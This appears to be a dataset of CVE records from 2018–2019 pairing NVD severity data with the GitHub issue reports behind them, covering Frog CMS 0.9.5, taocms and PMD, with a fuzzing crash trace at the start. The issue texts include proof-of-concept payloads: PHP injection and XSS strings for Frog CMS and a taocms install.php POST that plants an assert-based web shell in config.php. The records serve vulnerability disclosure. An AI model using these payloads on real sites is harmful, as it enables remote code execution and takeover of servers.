/home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) #0 0x5e2705 in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69 #1 0x5fffc5 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79 #2 0x5e8b06 in __sanitizer::ReportAllocatorCannotReturnNull() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 #3 0x5e8b46 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241 #4 0x51ec37 in __asan::asan_memalign(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:900 #5 0x611b4f in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #6 0xa0537b in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #7 0xa0537b in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #8 0xa0537b in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #9 0xa0537b in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:571 #10 0xa0537b in std::vector<char, std::allocator<char> >::resize(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:692 #11 0x9ab457 in wasm::WasmBinaryBuilder::readUserSection(unsigned long) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:723:18 #12 0x97e61a in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:692:9 #13 0xa7ebfd in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #14 0xa816d0 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #15 0x624a39 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #16 0x7f262eb2482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x519688 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x519688) ```

Out of Memory Problem in function wasm::WasmBinaryBuilder::readUserSection(unsigned long)

https://api.github.com/repos/WebAssembly/binaryen/issues/1866/comments

1

2019-01-12T12:56:27Z

2019-01-16T19:15:11Z

https://github.com/WebAssembly/binaryen/issues/1866

398,551,981

1,866

165

CVE-2018-20772

2019-02-11T02:29:00.910

Frog CMS 0.9.5 allows PHP code execution via <?php to the admin/?/layout/edit/1 URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/24" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/24" } ]

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[ "94" ]

94

https://github.com/philippe/FrogCMS/issues/24

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

## The FrogCMS 0.9.5 has command execution in http://127.0.0.1/FrogCMS/admin/?/layout/edit/1 ### 1.login ### 2.open http://127.0.0.1/FrogCMS/admin/?/layout/edit/1 ### 3. input exp <?php phpinfo(); ?> in body ![image](https://user-images.githubusercontent.com/30485210/50556929-91ec3d00-0d1a-11e9-940d-1cff84a0a45f.png) ### 4. open http://127.0.0.1/FrogCMS/admin/?/page/edit/1 ### 5. layout choose none ![image](https://user-images.githubusercontent.com/30485210/50556942-b34d2900-0d1a-11e9-8f3a-cdd6cb777e78.png) ### 6. open http://127.0.0.1/FrogCMS/index.php ![image](https://user-images.githubusercontent.com/30485210/50556948-bfd18180-0d1a-11e9-9ee5-ea3d96c6d25d.png)

The FrogCMS 0.9.5 has command execution in http://127.0.0.1/FrogCMS/admin/?/layout/edit/1

https://api.github.com/repos/philippe/FrogCMS/issues/24/comments

0

2018-12-31T08:40:52Z

https://github.com/philippe/FrogCMS/issues/24

394,947,527

24

166

CVE-2018-20773

2019-02-11T02:29:00.957

Frog CMS 0.9.5 allows PHP code execution by visiting admin/?/page/edit/1 and inserting additional <?php lines.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/23" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/23" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:frog_cms_project:frog_cms:0.9.5:*:*:*:*:*:*:*", "matchCriteriaId": "BC916FD5-B582-4EC0-AD00-BD72FCF82BF3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "94" ]

94

https://github.com/philippe/FrogCMS/issues/23

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

The FrogCMS 0.9.5 has Command execution in http://127.0.0.1/FrogCMS/admin/?/page/edit/1 ### 1.login ### 2.open http://127.0.0.1/FrogCMS/admin/?/page/edit/1 ### 3.input exp <?php phpinfo(); ?> in body ![image](https://user-images.githubusercontent.com/30485210/50556710-9fec8e80-0d17-11e9-8390-6fce452c6b2e.png) ### 4.save and close ### 5. open 127.0.0.1/FrogCMS/index.php ![image](https://user-images.githubusercontent.com/30485210/50556720-babf0300-0d17-11e9-94f4-01bfe2329be4.png)

The FrogCMS 0.9.5 has Command execution in http://127.0.0.1/FrogCMS/admin/?/page/edit/1

https://api.github.com/repos/philippe/FrogCMS/issues/23/comments

0

2018-12-31T08:19:04Z

https://github.com/philippe/FrogCMS/issues/23

394,945,291

23

167

CVE-2018-20774

2019-02-11T02:29:01.003

Frog CMS 0.9.5 has XSS via the admin/?/layout/edit/1 Body field.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/26" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/26" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:frog_cms_project:frog_cms:0.9.5:*:*:*:*:*:*:*", "matchCriteriaId": "BC916FD5-B582-4EC0-AD00-BD72FCF82BF3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "79" ]

79

https://github.com/philippe/FrogCMS/issues/26

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

## The FrogCMS 0.9.5 has xss in http://127.0.0.1/FrogCMS/admin/?/layout/edit/1 body ### 1.login ### 2.open http://127.0.0.1/FrogCMS/admin/?/layout/edit/1 ### 3.input exp `<img src=1 onerror=alert(/du/)>` ![image](https://user-images.githubusercontent.com/30485210/50560962-f3270700-0d40-11e9-9c83-5bc633ac1e74.png) ### 4.save ### 5.open http://127.0.0.1/FrogCMS/index.php ![image](https://user-images.githubusercontent.com/30485210/50560959-eacecc00-0d40-11e9-8493-fb1af017b4b7.png)

The FrogCMS 0.9.5 has xss in http://127.0.0.1/FrogCMS/admin/?/layout/edit/1

https://api.github.com/repos/philippe/FrogCMS/issues/26/comments

0

2018-12-31T13:14:02Z

https://github.com/philippe/FrogCMS/issues/26

394,978,895

26

168

CVE-2018-20775

2019-02-11T02:29:01.017

admin/?/plugin/file_manager in Frog CMS 0.9.5 allows PHP code execution by creating a new .php file containing PHP code, and then visiting this file under the public/ URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/27" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/27" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:frog_cms_project:frog_cms:0.9.5:*:*:*:*:*:*:*", "matchCriteriaId": "BC916FD5-B582-4EC0-AD00-BD72FCF82BF3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "94" ]

94

https://github.com/philippe/FrogCMS/issues/27

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

## The FrogCMS 0.9.5 has command execution in http://127.0.0.1/FrogCMS/admin/?/plugin/file_manager ### 1.login ### 2.open http://127.0.0.1/FrogCMS/admin/?/plugin/file_manager ### 3.click Create new file ![image](https://user-images.githubusercontent.com/30485210/50561056-f79fef80-0d41-11e9-9391-9693ee4e486d.png) ### 4.input 1.php ![image](https://user-images.githubusercontent.com/30485210/50561065-0b4b5600-0d42-11e9-8dd8-41d8bb0596df.png) ### 5. open 1.php input <?php phpinfo();?> ![image](https://user-images.githubusercontent.com/30485210/50561078-346be680-0d42-11e9-8ac9-b477e47545cf.png) ### 6.save ### 7. open http://127.0.0.1/FrogCMS/public/1.php ![image](https://user-images.githubusercontent.com/30485210/50561087-4e0d2e00-0d42-11e9-81e9-3150338f1cda.png)

The FrogCMS 0.9.5 has command execution in http://127.0.0.1/FrogCMS/admin/?/plugin/file_manager

https://api.github.com/repos/philippe/FrogCMS/issues/27/comments

0

2018-12-31T14:10:40Z

https://github.com/philippe/FrogCMS/issues/27

394,985,723

27

169

CVE-2018-20776

2019-02-11T02:29:01.067

Frog CMS 0.9.5 provides a directory listing for a /public request.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/21" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/21" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:frog_cms_project:frog_cms:0.9.5:*:*:*:*:*:*:*", "matchCriteriaId": "BC916FD5-B582-4EC0-AD00-BD72FCF82BF3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "200" ]

200

https://github.com/philippe/FrogCMS/issues/21

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

### Direct access 127.0.0.1/frogcms ![image](https://user-images.githubusercontent.com/30485210/50534341-384b0d80-0b76-11e9-8cba-d9c931d66812.png)

Frog CMS 0.9.5 has Information Disclosure Vulnerability in frogcms/public

https://api.github.com/repos/philippe/FrogCMS/issues/21/comments

0

2018-12-29T06:30:18Z

https://github.com/philippe/FrogCMS/issues/21

394,766,448

21

170

CVE-2018-20777

2019-02-11T02:29:01.097

Frog CMS 0.9.5 has XSS via the admin/?/snippet/edit/1 Body field.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/25" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/25" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:frog_cms_project:frog_cms:0.9.5:*:*:*:*:*:*:*", "matchCriteriaId": "BC916FD5-B582-4EC0-AD00-BD72FCF82BF3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "79" ]

79

https://github.com/philippe/FrogCMS/issues/25

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

## The FrogCMS 0.9.5 has xss in http://127.0.0.1/FrogCMS/admin/?/snippet/edit/1 body ### 1.login ### 2.open http://127.0.0.1/FrogCMS/admin/?/snippet/edit/1 body ### 3.input exp` <img src=1 onerror=alert(/du/)>` ![image](https://user-images.githubusercontent.com/30485210/50560877-02598500-0d40-11e9-955e-cce5d216e642.png) ### 4.save ### 5.open http://127.0.0.1/FrogCMS/index.php ![image](https://user-images.githubusercontent.com/30485210/50560888-13a29180-0d40-11e9-9663-0523506af7bf.png)

The FrogCMS 0.9.5 has xss in http://127.0.0.1/FrogCMS/admin/?/snippet/edit/1

https://api.github.com/repos/philippe/FrogCMS/issues/25/comments

0

2018-12-31T13:07:32Z

2018-12-31T13:08:28Z

https://github.com/philippe/FrogCMS/issues/25

394,978,112

25

171

CVE-2018-20778

2019-02-11T02:29:01.143

admin/?/plugin/file_manager in Frog CMS 0.9.5 allows XSS by creating a new file containing a crafted attribute of an IMG element.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/28" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/philippe/FrogCMS/issues/28" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:frog_cms_project:frog_cms:0.9.5:*:*:*:*:*:*:*", "matchCriteriaId": "BC916FD5-B582-4EC0-AD00-BD72FCF82BF3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "79" ]

79

https://github.com/philippe/FrogCMS/issues/28

[ "Exploit", "Third Party Advisory" ]

github.com

[ "philippe", "FrogCMS" ]

## The FrogCMS 0.9.5 has xss in http://127.0.0.1/FrogCMS/admin/?/plugin/file_manager ### 1.login ### 2.open http://127.0.0.1/FrogCMS/admin/?/plugin/file_manager/browse/ ### 3.create new file 1 ### 4.open and input exp `<img src=1 onerror=alert(/du/)>` ![image](https://user-images.githubusercontent.com/30485210/50562045-8f560b80-0d4b-11e9-9665-39c3a0836fb1.png) ### 5.save ### 6.open http://127.0.0.1/FrogCMS/public/1 ![image](https://user-images.githubusercontent.com/30485210/50562049-9846dd00-0d4b-11e9-9f73-fafe8fb51218.png)

The FrogCMS 0.9.5 has xss in http://127.0.0.1/FrogCMS/admin/?/plugin/file_manager

https://api.github.com/repos/philippe/FrogCMS/issues/28/comments

0

2018-12-31T14:30:17Z

https://github.com/philippe/FrogCMS/issues/28

394,988,119

28

172

CVE-2019-7720

2019-02-11T04:29:00.357

taocms through 2014-05-24 allows eval injection by placing PHP code in the install.php db_name parameter and then making a config.php request.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/taogogo/taocms/issues/1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/taogogo/taocms/issues/1" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:taogogo:taocms:*:*:*:*:*:*:*:*", "matchCriteriaId": "7A9D5CD7-C9B3-44BD-9BE6-CEB7FDDCD031", "versionEndExcluding": null, "versionEndIncluding": "2014-05-24", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "94" ]

94

https://github.com/taogogo/taocms/issues/1

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "taogogo", "taocms" ]

In the CMS installation process, the configuration file filtering is not rigorous, you can insert malicious code in the installation process to execute arbitrary commands, and even get Webshell Source: ./install.php:234-238 $configs=file_get_contents('config.php'); $_POST['tb']&&$configs=str_replace('define(\'TB\', \''.TB.'\');','define(\'TB\', \''.$_POST['tb'].'\');',$configs); $_POST['db']&&$configs=str_replace('define(\'DB\', \''.DB.'\');','define(\'DB\', \''.$_POST['db'].'\');',$configs); $_POST['db_name']&&$configs=str_replace('define(\'DB_NAME\', \''.DB_NAME.'\');','define(\'DB_NAME\', \''.$_POST['db_name'].'\');',$configs); file_put_contents('config.php',$configs); payload： /taocms-master/install.php [POST]db=Mysql&db_name=%7C127.0.0.1%3A3306%7Croot%7Croot%7Cwity%7C');assert($_REQUEST['cmd']);//&tb=test&Submit=%E7%82%B9%E5%87%BB%E6%AD%A4%E5%A4%84%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85%E5%85%8D%E8%B4%B9%E5%BC%80%E6%BA%90%E7%9A%84taoCMS%E7%B3%BB%E7%BB%9F ![image](https://user-images.githubusercontent.com/9081952/51842813-b4d73480-234c-11e9-91e8-bc2b0288e9d2.png) exploit: http://127.0.0.1/taocms-master/config.php?cmd=phpinfo(); ![image](https://user-images.githubusercontent.com/9081952/51842540-1519a680-234c-11e9-9df3-706c9b84ec9a.png)

one can insert malicious code in the installation process to get a web shell

https://api.github.com/repos/taogogo/taocms/issues/1/comments

2

2019-01-28T14:34:00Z

2021-03-03T17:01:24Z

https://github.com/taogogo/taocms/issues/1

403,842,977

1

173

CVE-2019-7722

2019-02-11T14:29:00.217

PMD 5.8.1 and earlier processes XML external entities in ruleset files it parses as part of the analysis process, allowing attackers tampering it (either by direct modification or MITM attacks when using remote rulesets) to perform information disclosure, denial of service, or request forgery attacks. (PMD 6.x is unaffected because of a 2017-09-15 change.)

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/pmd/pmd/issues/1650" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/pmd/pmd/issues/1650" } ]

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[ "611" ]

611

https://github.com/pmd/pmd/issues/1650

[ "Exploit", "Third Party Advisory" ]

github.com

[ "pmd", "pmd" ]

